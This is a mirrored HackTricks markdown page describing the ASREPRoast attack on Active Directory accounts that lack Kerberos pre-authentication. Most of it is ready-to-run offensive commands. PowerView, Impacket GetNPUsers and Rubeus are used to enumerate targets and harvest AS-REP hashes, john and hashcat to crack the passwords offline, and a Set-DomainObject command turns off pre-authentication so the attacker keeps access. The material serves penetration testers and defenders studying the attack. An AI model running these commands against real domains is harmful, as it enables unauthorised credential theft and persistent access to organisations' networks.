mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 11:03:24 +00:00
52 lines
2.2 KiB
Markdown
52 lines
2.2 KiB
Markdown
|
# ASREPRoast
|
||
|
|
|
||
|
|
## ASREPRoast
|
||
|
|
|
||
|
|
The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute \(**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**\)**_.
|
||
|
|
|
||
|
|
That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
|
||
|
|
|
||
|
|
Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
|
||
|
|
|
||
|
|
#### Enumerating vulnerable users \(need domain credentials\)
|
||
|
|
|
||
|
|
```bash
|
||
|
|
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
|
||
|
|
```
|
||
|
|
|
||
|
|
#### Request AS\_REP message
|
||
|
|
|
||
|
|
{% code title="Using Linux" %}
|
||
|
|
```bash
|
||
|
|
#Try all the usernames in usernames.txt
|
||
|
|
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
||
|
|
#Use domain creds to extract targets and target them
|
||
|
|
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
||
|
|
```
|
||
|
|
{% endcode %}
|
||
|
|
|
||
|
|
{% code title="Using Windows" %}
|
||
|
|
```bash
|
||
|
|
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast
|
||
|
|
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
|
||
|
|
```
|
||
|
|
{% endcode %}
|
||
|
|
|
||
|
|
### Cracking
|
||
|
|
|
||
|
|
```text
|
||
|
|
john --wordlist=passwords_kerb.txt hashes.asreproast
|
||
|
|
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||
|
|
```
|
||
|
|
|
||
|
|
### Persistence
|
||
|
|
|
||
|
|
Force **preauth** not required for a user where you have **GenericAll** permissions \(or permissions to write properties\):
|
||
|
|
|
||
|
|
```bash
|
||
|
|
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
||
|
|
```
|
||
|
|
|
||
|
|
\*\*\*\*[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)\*\*\*\*
|
||
|
|
|